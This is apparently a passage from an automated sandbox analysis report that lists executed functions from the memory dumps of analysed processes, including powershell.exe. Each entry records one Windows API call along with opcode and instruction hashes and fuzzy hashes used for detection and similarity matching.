Function 01D0BA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 01D0BA7E

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 18cd6e77c7fdbbd723ed079395c0a516b0c3023c9eeb5e7c7400550b369db1bc
Instruction ID: d18381f1cf6e5355220933daa796f09ed7348df651c5f84c5426afc890c2de26
Opcode Fuzzy Hash: 18cd6e77c7fdbbd723ed079395c0a516b0c3023c9eeb5e7c7400550b369db1bc
Instruction Fuzzy Hash: FE11AC36504700DFEB22CF55CC84B52FBE4EF08211F0884AAED898A652D3B1E444DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D0A1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,00000E9C,?,?), ref: 01D0A23E

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 74d0ef4da80f0bc8c7d20655c4b4fd51c7bce3441b51263b3eb3e46375b4947c
Instruction ID: 5fcc23fb0a2e6440f799bcc01a3115a37652573880239c9da07a24e52fb7e7e8
Opcode Fuzzy Hash: 74d0ef4da80f0bc8c7d20655c4b4fd51c7bce3441b51263b3eb3e46375b4947c
Instruction Fuzzy Hash: 76017171900600AFE710DF16DC46B66FBA8FB88A20F14816AED089B741D275B515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 027E104E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 027E109E

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: f9cc11b0d5a873f9004aeaef27de41293e57e3afb6c6b68ea0cc185ea87d0897
Instruction ID: 0f09499306393887b8ef50db187fec3ac4190a6d8a72a6bd8665f06b99a50dcd
Opcode Fuzzy Hash: f9cc11b0d5a873f9004aeaef27de41293e57e3afb6c6b68ea0cc185ea87d0897
Instruction Fuzzy Hash: C2017171900600AFE310DF16DC46B66FBA8FB88A20F14816AED089B741D375B515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 027E0196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027E01D0

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 62e7a106e8846b0e7a4d194bc39a2cf207f8cb7c96c410ea7e0657a47ae591a9
Instruction ID: 13ff115ebcbac12bc38a7b25fc63f0af5fb7d53b3012122931a5fc0263acf160
Opcode Fuzzy Hash: 62e7a106e8846b0e7a4d194bc39a2cf207f8cb7c96c410ea7e0657a47ae591a9
Instruction Fuzzy Hash: 89015E71600744DFEB10DF66DC8576AFBD8EB05624F0884AADC0ADF642D7B4E404CA61

Uniqueness

Uniqueness Score: -1.00%

Function 01D0BAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 01D0BB2F

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 980bb92305c2245b637a05a83220ca7a2e473d7e1d7151684f44f1c7da145326
Instruction ID: 14fda6660f61809e2f11badd7b519c1ad54fb1cc5a7e45bdd61bcc407b268f19
Opcode Fuzzy Hash: 980bb92305c2245b637a05a83220ca7a2e473d7e1d7151684f44f1c7da145326
Instruction Fuzzy Hash: 6401DF75604700DFEB21CF19DC857AAFBA4EF04620F08C4AFDD498B296D279E804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027E12FA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 027E132F

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: e3d49c615eb0e41e01e3a92d1a2ee8542f339b7c95526a3d13b7342d6b66e386
Instruction ID: f17b1dbb49e4b7c1300beaa4ec275e6335c8433c31c3ce703611044f9737a551
Opcode Fuzzy Hash: e3d49c615eb0e41e01e3a92d1a2ee8542f339b7c95526a3d13b7342d6b66e386
Instruction Fuzzy Hash: E701BC75600300DFEF10CF15DC867AAFBA4EF08720F48C4AADC0A8BA42D275A804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D0A8FA, Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 01D0A94A

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 5d7e0c85091bf89ca89a198652e734f77ff1c5eae04d9378147d2c7fa3fa1285
Instruction ID: bed7a2ff12ad67bb7a9e34c1436d43f509f618b58bb9d9f4260a5b978659ea31
Opcode Fuzzy Hash: 5d7e0c85091bf89ca89a198652e734f77ff1c5eae04d9378147d2c7fa3fa1285
Instruction Fuzzy Hash: F9016271A40600ABD314DF16DC46B26FBA4FB88B20F14815AED085B741D275F515CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 027E0F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 027E0FB0

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 67b436e3db8ed5e0e50bbe8f65c40c335b63f602c530013b3f755aecfcc06178
Instruction ID: c064a3e3b05ff2aa40384cba58cdb220173246733f2e7ba93e835fb642a2f9ce
Opcode Fuzzy Hash: 67b436e3db8ed5e0e50bbe8f65c40c335b63f602c530013b3f755aecfcc06178
Instruction Fuzzy Hash: BC017C71900340DFEB10DF55D885B66FBA4EF09620F4884AADC09EF246D3B4E414CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 027E04B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 027E0502

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: fbd3177ff71a35e00997677d303c6580c4ce6336fbc7676f163acc6f38277895
Instruction ID: c6aa976eba26dbd2e84a0c165c23b25fae6951c8d7d5a05c2d9e1fcd371f8010
Opcode Fuzzy Hash: fbd3177ff71a35e00997677d303c6580c4ce6336fbc7676f163acc6f38277895
Instruction Fuzzy Hash: 9F016D71A40600ABE314DF16DC86B26FBA8FB88B20F14825AED085B741D275F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 027E060E, Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 027E0640

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: a33246025846dbac54728c4d2de1a1c160330f537275d8b613760a3b66cbc7a7
Instruction ID: b7f72408d2027ea5fe7874d3174647ec27ec2d8e49b7ed5a87747a8ba54f31d6
Opcode Fuzzy Hash: a33246025846dbac54728c4d2de1a1c160330f537275d8b613760a3b66cbc7a7
Instruction Fuzzy Hash: EE01F475600700CFEF108F15D889765FBA0EF49721F08C0AADC0A9B752D3B4E404CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 01D0AB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 01D0ABC9

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: b9e58f1874df0ca155f82cfd9f78f898ff5bd868dbd665fef9a847fcb36b3817
Instruction ID: 0d35418959f638afadbbf4dba2aace68b2e53fb9eb08a5d44716a7d2c652ea0c
Opcode Fuzzy Hash: b9e58f1874df0ca155f82cfd9f78f898ff5bd868dbd665fef9a847fcb36b3817
Instruction Fuzzy Hash: B401D131504740CFEB11DF5AD889B95FBA4DF04620F48C4AADD088F242D2B4A404CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027E1116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 027E1148

Memory Dump Source

Source File: 00000004.00000002.2128143015.00000000027E0000.00000040.00000001.sdmp, Offset: 027E0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 11e4ca38ea8f1b34445e5530c69ece8423422151ad3b88ea7a32e9109aa9cae4
Instruction ID: 4db70a777dcd2b0ba5928f4968b57fc6e28d61ce9472a12c7d7e9e4ce2c54f9e
Opcode Fuzzy Hash: 11e4ca38ea8f1b34445e5530c69ece8423422151ad3b88ea7a32e9109aa9cae4
Instruction Fuzzy Hash: 54F0A435504740DFEF20CF05D886765FB94EF09A21F48C0DADD494B316D6B5A844CA72

Uniqueness

Uniqueness Score: -1.00%

Function 01D0A36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 01D0A39C

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: 5ce46a774d027cadce6a8c5c46ed5fcb383e6532e31c9f5d414b446fe73874a9
Instruction ID: 513fc76337abd585645503262dd6252eea591578f84f821f6941210bdfd651a2
Opcode Fuzzy Hash: 5ce46a774d027cadce6a8c5c46ed5fcb383e6532e31c9f5d414b446fe73874a9
Instruction Fuzzy Hash: E8F0AF35504740DFEB219F46D889765FBA0EF04621F08C09ADD494B352D3B5E404CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01D0AA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01D0AA71

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 893f1f88dfd89d71b748f179c5248755de27d13e3be43cd94937cfa6266b0009
Instruction ID: 5c85f6fcb15cc098d1597f2427953280964dff58b82662218bc382982c0c0271
Opcode Fuzzy Hash: 893f1f88dfd89d71b748f179c5248755de27d13e3be43cd94937cfa6266b0009
Instruction Fuzzy Hash: CCF0C231500740CFEB11CF05D989762FB90DF08621F48C09ADD494F282D2B8E544CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01D0A974, Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 01D0A9C8

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b212fabf97ecfe018b22b15ce3076d1b0e167df227b647154098db694525d9af
Instruction ID: 6843c8b20664a36dc688e437711481c7e197255cd4ada01690837dfc1a706b8b
Opcode Fuzzy Hash: b212fabf97ecfe018b22b15ce3076d1b0e167df227b647154098db694525d9af
Instruction Fuzzy Hash: 2F11A3715093809FD712CF25DC89B96FFA4DF06220F0980EFED458B293D275A848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D0A996, Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 01D0A9C8

Memory Dump Source

Source File: 00000004.00000002.2122659040.0000000001D0A000.00000040.00000001.sdmp, Offset: 01D0A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b72bdd420a3afba7a750e707cfdb5ce9d51963ecd7a9336cc40aea8e2e03903e
Instruction ID: 8116cc587afe7799cd8c5b0f52970ffb22090796a5aa1b2b2f92de8423ae4310
Opcode Fuzzy Hash: b72bdd420a3afba7a750e707cfdb5ce9d51963ecd7a9336cc40aea8e2e03903e
Instruction Fuzzy Hash: EE01F275600740CFEB11DF19DC897AAFB94DF04320F08C0ABDC098B282D279E844CB61

Uniqueness

Uniqueness Score: -1.00%

Function 05650861, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2136925526.0000000005650000.00000040.00000001.sdmp, Offset: 05650000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81efba1b25b84ae96d314b718b409a95ebc27d3d20d0b676f320f39cb3e60f4e
Instruction ID: ab0e004cbbb718f6e6efd8abf0d17c77aa267112d9b2be1381118e228bbd7386
Opcode Fuzzy Hash: 81efba1b25b84ae96d314b718b409a95ebc27d3d20d0b676f320f39cb3e60f4e
Instruction Fuzzy Hash: 81E04F6624E7D04FC3039764B8746697FB29F93084B0E44DBC581CF1A7D5085C44C3A2

Uniqueness

Uniqueness Score: -1.00%

Function 01D023F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2122577696.0000000001D02000.00000040.00000001.sdmp, Offset: 01D02000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 312acb63799ea7d46ef8686c54dbad9c7960031b086be9f7d1070e0046406a49
Instruction ID: cb7b82b6485ba066fea94e4e304361e55e95c853ea08c874d206cf56f0103c0e
Opcode Fuzzy Hash: 312acb63799ea7d46ef8686c54dbad9c7960031b086be9f7d1070e0046406a49
Instruction Fuzzy Hash: 6CD05E79206A818FE7178A1CC1A9B953BA4AF69B04F4744F9E840CB6A3C768E581D200

Uniqueness

Uniqueness Score: -1.00%

Function 01D023BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2122577696.0000000001D02000.00000040.00000001.sdmp, Offset: 01D02000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11c7749fea046450e99cd3c37502e8e8ee3b2778dbcb0bb9ac7b045b0b673433
Instruction ID: c4909107b4481ad85e9de3fad9675044024ddf25576ed82ac3a5ea0d7b6f4677
Opcode Fuzzy Hash: 11c7749fea046450e99cd3c37502e8e8ee3b2778dbcb0bb9ac7b045b0b673433
Instruction Fuzzy Hash: AFD05E343016818FEB16CA1CD198F5977E8AF44700F0644ECBC008B6A6C3B5E880C600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 2428 Parent PID: 2760 powershell.exeCOMMON

Executed Functions

Function 004DACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 004DAD37

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: a485193b23cd219ee5c750cd50802dd5b70b75b2b869fcafcb1dc69208420451
Instruction ID: cd863a2e368ec4bd72b3775a0cd0361fbe6faae2f53532c809b7566a6446efa7
Opcode Fuzzy Hash: a485193b23cd219ee5c750cd50802dd5b70b75b2b869fcafcb1dc69208420451
Instruction Fuzzy Hash: 7E21F3755097809FEB228F25DC40B92BFB4EF16310F0884DBE9858B663D234D818CB62

Uniqueness

Uniqueness Score: -1.00%

Function 004DACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 004DAD37

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: bd453676edac8b869ff0377a2615d0000b702fb58f7ccc94bdac87aba0da044a
Instruction ID: 0131144c7f87e4e6987fbc698f1a5b4ec214e9b4f9ea4ca33a197793c266899d
Opcode Fuzzy Hash: bd453676edac8b869ff0377a2615d0000b702fb58f7ccc94bdac87aba0da044a
Instruction Fuzzy Hash: D1118C755007009FEB208F55D885B56FBA5EB04321F08C46BED4A8AA62D235E814DB62

Uniqueness

Uniqueness Score: -1.00%

Function 004DB2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 004DB329

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: e9f2b1537b9874958717a9030cdaa187b4c3c1ec7c4035a9cbfcd4819a6ab549
Instruction ID: e08fd6c3f4e0029a35a75ce1bb8a7ee4963755156ff7e00e5dbcf539a0a12920
Opcode Fuzzy Hash: e9f2b1537b9874958717a9030cdaa187b4c3c1ec7c4035a9cbfcd4819a6ab549
Instruction Fuzzy Hash: 04119E71508380AFDB228F11DC45A52FFB4EF16220F09C49FEE854B662C275A818DB62

Uniqueness

Uniqueness Score: -1.00%

Function 004DB2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 004DB329

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 570ab1423fa376a8875bba8fcaa1eb278c3e72d0f19a0bc04058eda8c5e0df96
Instruction ID: faeee87fabbd1e0ba31bb7b88e971a43ef9dd5a1c9b9eea748da08e67f0d439b
Opcode Fuzzy Hash: 570ab1423fa376a8875bba8fcaa1eb278c3e72d0f19a0bc04058eda8c5e0df96
Instruction Fuzzy Hash: 41018B35500740DFEB208F45D885B22FBA0EF14721F08C09BDE490A712C375A818EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00740118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 007401D0

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: eaa7b5f9ee496b24a927aeca12bf790f688b7f0c7b1156e2dd0e3a12d7d41e6b
Instruction ID: ecfd254a8e19c9b518ea82eeb2f70f8c81dc558716a5de341e9933a5dbaab816
Opcode Fuzzy Hash: eaa7b5f9ee496b24a927aeca12bf790f688b7f0c7b1156e2dd0e3a12d7d41e6b
Instruction Fuzzy Hash: A131396650E3C48FE7138B759C65691BFB4AF03310F0E84DBD984CF1A3D6699809D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0074067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0074072D

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 01a7551094ad7823415e9e55c336ef62d9d076c0d45667ea6d16c993acc664d3
Instruction ID: 45ebf35f2fd9da98804034aabf07344b3fecb482c3f556bb69047af313ff4a37
Opcode Fuzzy Hash: 01a7551094ad7823415e9e55c336ef62d9d076c0d45667ea6d16c993acc664d3
Instruction Fuzzy Hash: 58315075509380AFE722CF65CC85F56BFF8EF05310F09849EE9858B292D375A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00740D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 00740DD6

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 67a14a3765b1481dc22f0eb4b6e70f3a92a046981be4d38b24ac4e78b067424e
Instruction ID: 59e67098b32598d1a212fe6481c8a1e80d1a2f22ed398ddc988359eda6af6a4b
Opcode Fuzzy Hash: 67a14a3765b1481dc22f0eb4b6e70f3a92a046981be4d38b24ac4e78b067424e
Instruction Fuzzy Hash: 21318671509380AFE712DB65DC45B96BFE8DF06314F0884AAE944CF293D379A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 004DBD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,016FD236,00000000,00000000,00000000,00000000), ref: 004DBDBC

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 6491ed316e50e8e5f9bbbcb428b2765023f7ebe5d6531d087374f042730e3b9d
Instruction ID: 068da323f994e4145980bc9d1b58e384e2a66ae02c100f323897dd3b2bc3e967
Opcode Fuzzy Hash: 6491ed316e50e8e5f9bbbcb428b2765023f7ebe5d6531d087374f042730e3b9d
Instruction Fuzzy Hash: 3931B172509380AFE722CB61CC55F97BFB8EF06310F09849BE985CB192D224A908C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 004DAF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,016FD236,00000000,00000000,00000000,00000000), ref: 004DAFBE

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 81f6c94495b07d33f805827e0c6d3701d2a284f3b8eb0914968f8aa2896d1e4c
Instruction ID: 741560c3274d1114c0ddccf67ebab7f4125d809073e5d3664e472da2385cdf54
Opcode Fuzzy Hash: 81f6c94495b07d33f805827e0c6d3701d2a284f3b8eb0914968f8aa2896d1e4c
Instruction Fuzzy Hash: 4121E4B2509380AFE712CF60DC45B96BFB8EF06320F0984DBE984DB193C265A949C771

Uniqueness

Uniqueness Score: -1.00%

Function 00740FEE, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 0074109E

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 1a959261bd76a545e72089f689faf13d06097c594313b00ee923e603afae0661
Instruction ID: a583c99567888022fcb190b8624a3a6cbb02ebdfaa1f954214c37477ddfd4ee0
Opcode Fuzzy Hash: 1a959261bd76a545e72089f689faf13d06097c594313b00ee923e603afae0661
Instruction Fuzzy Hash: 2D31937550E3C05FD3138B358C55B55BFB4AF43610F1A81CBD884CF1A3D229A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 004DB01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,016FD236,00000000,00000000,00000000,00000000), ref: 004DB0AE

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 0b037a431d45ed041f3a740a168ffc11a442df603fb1a0aa1e8b41f5db111849
Instruction ID: 620aa0d574a33f1565ac34fcb676009abdc5adfc45ad013a3ccc6ebad34a5bc5
Opcode Fuzzy Hash: 0b037a431d45ed041f3a740a168ffc11a442df603fb1a0aa1e8b41f5db111849
Instruction Fuzzy Hash: 07219171505380EFE722CF15CC55FA7BFA8EF46320F09849BE945DB252D668E908CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004DA1A8, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 004DA23E

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: 422fbca09c55f66646d9c415209d021511012094f666d56c25c92ee8d5830032
Instruction ID: e7e4e2b81833618630f298c2a821c84d716e3402778ce2e815cd2a5a1dff10c2
Opcode Fuzzy Hash: 422fbca09c55f66646d9c415209d021511012094f666d56c25c92ee8d5830032
Instruction Fuzzy Hash: 4121C47184D3C16FD312CB258C55B66BFB4EF47620F0981DFD8848F693D229A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00740784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,016FD236,00000000,00000000,00000000,00000000), ref: 00740819

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 6111e66e954af61aaeb418c52b2459720d14754c62ad2a7f360c1e33b9014057
Instruction ID: 794e2e528a13e6617fe66f0418d813d8e0bac7455b4b7d7db9d3b58eac27046e
Opcode Fuzzy Hash: 6111e66e954af61aaeb418c52b2459720d14754c62ad2a7f360c1e33b9014057
Instruction Fuzzy Hash: 3421DA76508780AFE712CB159C45FA3BFA8EF46720F0981DBF9858B193D264AD05C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 00740464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 00740502

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 77a47aed0499e9654e2c4b3f96c1a082a2872ce4499f01e11b32901d196c06af
Instruction ID: 44f225749dee14646e8b100643eda3c0b4e70197abf64594121128cb88c4b64e
Opcode Fuzzy Hash: 77a47aed0499e9654e2c4b3f96c1a082a2872ce4499f01e11b32901d196c06af
Instruction Fuzzy Hash: 5C216D7550E3C0AFD3128B658C56B62BFB4EF47610F1A81CFD8848F693D225A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 007406AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0074072D

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f7db9be1a5b4af1d967e41c5de31fa77a538218b9cf6d98131f6972873d15792
Instruction ID: 92d2c17604d7110523357260be2b4b9227f5328dd308c9bc5a7005f8a5cca6b3
Opcode Fuzzy Hash: f7db9be1a5b4af1d967e41c5de31fa77a538218b9cf6d98131f6972873d15792
Instruction Fuzzy Hash: B3218B71500300EFEB21DF65CC85B66FBE8EF08710F04846AEA498B691D375F804CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00740854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,016FD236,00000000,00000000,00000000,00000000), ref: 007408E5

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: be67e209844eb2f1bf17603066b570f5df4becd36c8a2b8f9e8f09499323aecb
Instruction ID: 24fd87dd35d7822fd24d3b7baa85e1ce8b0bef10783bb7b9eea38f83a0304fc2
Opcode Fuzzy Hash: be67e209844eb2f1bf17603066b570f5df4becd36c8a2b8f9e8f09499323aecb
Instruction Fuzzy Hash: 4D219271409380AFE722CF61DC45F56BFB8EF46314F09849FE9449B153C275A909CB61

Uniqueness

Uniqueness Score: -1.00%

